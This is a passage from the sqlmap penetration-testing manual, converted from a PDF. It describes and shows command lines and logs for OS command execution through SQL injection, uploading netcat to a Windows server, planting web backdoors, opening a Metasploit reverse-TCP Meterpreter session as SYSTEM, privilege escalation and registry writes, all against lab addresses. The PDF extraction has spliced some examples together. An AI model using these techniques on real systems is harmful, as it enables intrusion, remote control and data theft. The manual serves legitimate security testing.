SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, sys_exec() and sys_eval(), then it creates these two functions on the database and calls one of them to execute the specified command, depending on user's choice to display the standard output or not. On Microsoft SQL Server, sqlmap abuses the xp_cmdshell stored procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), sqlmap reenables it; if it does not exist, sqlmap creates it from scratch. When the user requests the standard output, sqlmap uses one of the enumeration SQL injection techniques (blind, inband or error-based) to retrieve it. Vice versa, if the standard output is not required, stacked query SQL injection technique is used to execute the command. These techniques are detailed in the white paper Advanced SQL injection to operating system full control. Example against a PostgreSQL target: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\ os-cmd id -v 1 [...] [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2005 [hh:mm:50] [INFO] fetching file: 'C:/example.exe' [hh:mm:50] [INFO] the SQL query provided returns 3 entries C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/ C__example.exe' [...] $ ls -l output/192.168.136.129/files/C__example.exe -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_ _example.exe $ file output/192.168.136.129/files/C__example.exe output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI ) Intel 80386 32-bit Upload a file to the database server's file system Options: --file-write and --file-dest It is possible to upload a local file to the database server's file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly. These techniques are detailed in the white paper Advanced SQL injection to operating system full control. Example against a MySQL target to upload a binary UPX-compressed file: $ file /software/nc.exe.packed /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32 -bit $ ls -l /software/nc.exe.packed -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\ -file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 [...] [hh:mm:29] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 or 2008 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: MySQL >= 5.0.0 [...] do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success fully written on the back-end DBMS file system? [Y/n] y [...] web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:12] [INFO] the back-end DBMS operating system is Linux [hh:mm:12] [INFO] testing if current user is DBA [hh:mm:12] [INFO] detecting back-end DBMS version from its banner [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file do you want to retrieve the command standard output? [Y/n/a] y command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(post gres)' [hh:mm:19] [INFO] cleaning up the database management system do you want to remove UDF 'sys_eval'? [Y/n] y do you want to remove UDF 'sys_exec'? [Y/n] y [hh:mm:23] [INFO] database management system cleanup finished [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys tem can only be deleted manually It is also possible to simulate a real shell where you can type as many arbitrary commands as you wish. The option is --os-shell and has the same TAB completion and history functionalities that --sql-shell has. Where stacked queries has not been identified on the web application (e.g. PHP or ASP with back-end database management system being MySQL) and the DBMS is MySQL, it is still possible to abuse the SELECT clause's INTO OUTFILE to create a web backdoor in a writable folder within the web server document root and still get command execution assuming the back-end DBMS and the web server are hosted on the same server. sqlmap supports this technique and allows the user to provide a commaseparated list of possible document root sub-folders where try to upload the web file stager and the subsequent web backdoor. Also, sqlmap has its own tested web file stagers and backdoors for the following languages: ASP • ASP.NET • JSP • PHP • Out-of-band stateful connection: Meterpreter & friends Switches and options: --os-pwn, --os-smbrelay, --os-bof, --priv-esc, --msf-path and --tmppath It is possible to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice. sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are: Database in-memory execution of the Metasploit's shellcode via sqlmap own user-defined • function sys_bineval(). Supported on MySQL and PostgreSQL - switch --os-pwn. Upload and execution of a Metasploit's stand-alone payload stager via sqlmap own user-defined • function sys_exec() on MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL Server - switch --os-pwn. Execution of Metasploit's shellcode by performing a SMB reflection attack (MS08-068) with a • UNC path request from the database server to the attacker's machine where the Metasploit smb_relay server exploit listens. Supported when running sqlmap with high privileges (uid=0) on Linux/Unix and the target DBMS runs as Administrator on Windows - switch --os-smbrelay. Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL Server • 2000 and 2005 sp_replwritetovarbin stored procedure heap-based buffer overflow (MS09-004). sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection bypass, but it relies on Metasploit to generate the shellcode to get executed upon successful exploitation - switch --os-bof. These techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database. Example against a MySQL target: $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\ id=1" --os-pwn --msf-path /software/metasploit [...] [hh:mm:31] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 back-end DBMS: MySQL 5.0 [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:31] [INFO] the back-end DBMS operating system is Windows how do you want to establish the tunnel? [1] TCP: Metasploit Framework (default) [2] ICMP: icmpsh - ICMP tunneling > [hh:mm:32] [INFO] testing if current user is DBA [hh:mm:32] [INFO] fetching current user what is the back-end database management system architecture? [1] 32-bit (default) [2] 64-bit > [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:33] [INFO] detecting back-end DBMS version from its banner [hh:mm:33] [INFO] retrieving MySQL base directory absolute path [hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file [hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file how do you want to execute the Metasploit shellcode on the back-end database und erlying operating system? [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default) [2] Stand-alone payload stager (file system way) > [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode which connection type do you want to use? [1] Reverse TCP: Connect back from the database host to this machine (default) [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535 [3] Bind TCP: Listen on the database host for a connection > which is the local address? [192.168.136.1] which local port number do you want to use? [60641] which payload do you want to use? [1] Meterpreter (default) [2] Shell [3] VNC > [hh:mm:40] [INFO] creation in progress ... done [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p lease wait.. _ | | o _ _ _ _ _|_ __, , _ | | __ _|_ / |/ |/ | |/ | / | / \_|/ \_|/ / \_| | | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/ /| \| =[ metasploit v3.7.0-dev [core:3.7 api:1.0] + -- --=[ 674 exploits - 351 auxiliary + -- --=[ 217 payloads - 27 encoders - 8 nops =[ svn r12272 updated 4 days ago (2011.04.07) PAYLOAD => windows/meterpreter/reverse_tcp EXITFUNC => thread LPORT => 60641 LHOST => 192.168.136.1 [*] Started reverse handler on 192.168.136.1:60641 [*] Starting the payload handler... [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b ineval', please wait.. [*] Sending stage (749056 bytes) to 192.168.136.129 [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a t Mon Apr 11 hh:mm:52 +0100 2011 meterpreter > meterpreter > meterpreter > meterpreter > meterpreter > OS Computer Architecture Meterpreter meterpreter > meterpreter > Loading extension espia...success. Loading extension incognito...success. [-] The 'priv' extension has already been loaded. Loading extension sniffer...success. System Language : en_US : Windows .NET Server (Build 3790, Service Pack 2). : W2K3R2 : x86 : x86/win32 Server username: NT AUTHORITY\SYSTEM ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 Intel(R) PRO/1000 MT Network Connection Hardware MAC: 00:0c:29:fc:79:39 IP Address : 192.168.136.129 Netmask : 255.255.255.0 meterpreter > exit [*] Meterpreter session 1 closed. Reason: User exit By default MySQL on Windows runs as SYSTEM, however PostgreSQL runs as a low-privileged user postgres on both Windows and Linux. Microsoft SQL Server 2000 by default runs as SYSTEM, whereas Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK SERVICE and sometimes as LOCAL SERVICE. It is possible to provide sqlmap with switch --priv-esc to perform a database process' user privilege escalation via Metasploit's getsystem command which include, among others, the kitrap0d technique (MS10-015). Windows registry access It is possible to access Windows registry when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and when the web application supports stacked queries. Also, session user has to have the needed privileges to access it. Read a Windows registry key value Switch: --reg-read Using this switch you can read registry key values. Write a Windows registry key value Switch: --reg-add Using this switch you can write registry key values. Delete a Windows registry key Switch: --reg-del Using this switch you can delete registry keys. Auxiliary registry options Options: --reg-key, --reg-value, --reg-data and --reg-type These options can be used to provide data needed for proper running of switches --reg-read, --regadd and --reg-del. So, instead of providing registry key information when asked, you can use them at command prompt as program arguments. With --reg-key option you specify used Windows registry key path, with --reg-value value item name inside provided key, with --reg-data value data, while with --reg-type option you specify type of the value item. A sample command line for adding a registry key hive follows: $ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\ eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\ pe=REG_SZ --reg-data=1 General These options can be used to set some general working parameters. Load session from a stored (.sqlite) file Option: -s sqlmap automatically creates a persistent session SQLite file for each target, inside dedicated output directory, where it stores all data required for session resumal. If user wants to explicitly set the session file location (e.g. for storing of session data for multiple targets at one place) he can use this option. Log HTTP(s) traffic to a textual file Option: -t This option requires an argument that specified the textual file to write all HTTP(s) traffic generated by sqlmap - HTTP(S) requests and HTTP(S) responses. This is useful primarily for debug purposes - when you provide the developers with a potential bug report, send this file too. Act in non-interactive mode Switch: --batch If you want sqlmap to run as a batch tool, without any user's interaction when sqlmap requires it, you can force that by using switch --batch. This will leave sqlmap to go with a default behaviour whenever user's input would be required. Binary content retrieval Option --binary-fields In case of binary content retrieval, like in example of tables having column(s) with stored binary values (e.g. column password with binary stored password hash values), it is possible to use option --binaryfields for (extra) proper handling by sqlmap. All those fields (i.e. table columns) are then retrieved and represented in their hexadecimal representation, so afterwards they could be properly processed with other tools (e.g. john). Custom (blind) SQL injection charset Option: --charset During boolean-based blind and time-based blind SQL injection cases, user can force the usage of custom charset to speed-up the data retrieval process. For example, in case of dumping message digest values (e.g. SHA1), by using (e.g.) --charset="0123456789abcdef" expected number of requests is around 30% less than in regular run. Crawl the website starting from the target URL Option: --crawl sqlmap can collect potentially vulnerable links by collecting them (crawling) starting from the target location. Using this option user can set a depth (distance from a starting location) below which sqlmap won't go in collecting phase, as the process is being done recursively as long as there are new links to be visited. Example run against a MySQL target: $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3 [...] [xx:xx:53] [INFO] starting crawler [xx:xx:53] [INFO] searching for links with depth 1 [xx:xx:53] [WARNING] running in a single-thread mode. This could take a while [xx:xx:53] [INFO] searching for links with depth 2 [xx:xx:54] [INFO] heuristics detected web page charset 'ascii' [xx:xx:00] [INFO] 42/56 links visited (75%) [...] Option --crawl-exclude With this option you can exclude pages from crawling by providing a regular expression. For example, if you want to skip all pages that have the keyword logout in their paths, you can use --crawlexclude=logout. Delimiting character used in CSV output Option: --csv-del When data being dumped is stored into the CSV format (--dump-format=CSV), entries have to be separated with a "separation value" (default is ,). In case that user wants to override its default value he can use this option (e.g. --csv-del=";"). DBMS authentication credentials Option: --dbms-cred In some cases user will be warned that some operations failed because of lack of current DBMS user privileges and that he could try to use this option. In those cases, if he provides admin user credentials to sqlmap by using this option, sqlmap will try to rerun the problematic part with specialized "run as" mechanisms (e.g. OPENROWSET on Microsoft SQL Server) using those credentials. Format of dumped data Option: --dump-format sqlmap supports three different types of formatting when storing dumped table data into the corresponding file inside an output directory: CSV, HTML and SQLITE. Default one is CSV, where each table row is stored into a textual file line by line, and where each entry is separated with a comma character , (or one provided with option --csv-del). In case of HTML, output is being stored into a HTML file, where each row is represented with a row inside a formatted table. In case of SQLITE, output is being stored into a SQLITE database, where original table content is replicated into the corresponding table having a same name. Force character encoding used for data retrieval Option: --encoding For proper decoding of character data sqlmap uses either web server provided information (e.g. HTTP header Content-Type) or a heuristic result coming from a 3rd party library chardet. Nevertheless, there are cases when this value has to be overwritten, especially when retrieving data containing international non-ASCII letters (e.g. --encoding=GBK). It has to be noted that there is a possibility that character information is going to be irreversibly lost due to implicit incompatibility between stored database content and used database connector at the target side. Estimated time of arrival Switch: --eta It is possible to calculate and show in real time the estimated time of arrival to retrieve each query output. This is shown when the technique used to retrieve the output is any of the blind SQL injection types. Example against an Oracle target affected only by boolean-based blind SQL injection: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\ =1" -b --eta [...] [hh:mm:01] [INFO] the back-end DBMS is Oracle [hh:mm:01] [INFO] fetching banner [hh:mm:01] [INFO] retrieving the length of query output [hh:mm:01] [INFO] retrieved: 64 17% [========> ] 11/64 ETA 00:19 Then: 100% [===================================================] 64/64 [hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2 .0.1.0 - Prod web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: Oracle banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod' As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and counts the number of retrieved output characters. Flush session files Option: --flush-session As you are already familiar with the concept of a session file from the description above, it is good to know that you can flush the content of that file using option --flush-session. This way you can avoid the caching mechanisms implemented by default in sqlmap. Other possible way is to manually remove the session file(s). Parse and test forms' input fields Switch: --forms Say that you want to test against SQL injections a huge search form or you want to test a login bypass (typically only two input fields named like username and password), you can either pass to sqlmap the request in a request file (-r), set the POSTed data accordingly (--data) or let sqlmap do it for you! Both of the above mentioned instances, and many others, appear as
Source Exif Data:
File Type : PDF File Type Extension : pdf MIME Type : application/pdf Linearized : No Page Count : 25 PDF Version : 1.4 Title : 未命名 4.pages Author : hehe Subject : Producer : Mac OS X 10.13.6 Quartz PDFContext Creator : pdftopdf filter Create Date : 2018:10:21 13:11:01Z Modify Date : 2018:10:21 13:11:01ZEXIF Metadata provided by EXIF.tools